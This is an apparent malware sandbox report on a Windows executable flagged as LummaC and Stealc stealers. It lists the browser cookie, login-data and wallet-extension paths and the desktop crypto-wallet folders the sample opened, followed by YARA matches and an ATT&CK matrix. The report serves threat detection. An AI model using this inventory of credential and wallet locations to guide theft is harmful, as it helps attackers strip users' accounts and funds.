Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2219846381.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pfY4k1qisn.exe PID: 5732, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: pfY4k1qisn.exe PID: 5732, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000003.2425662975.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2466975072.0000000000B91000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe PID: 5972, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
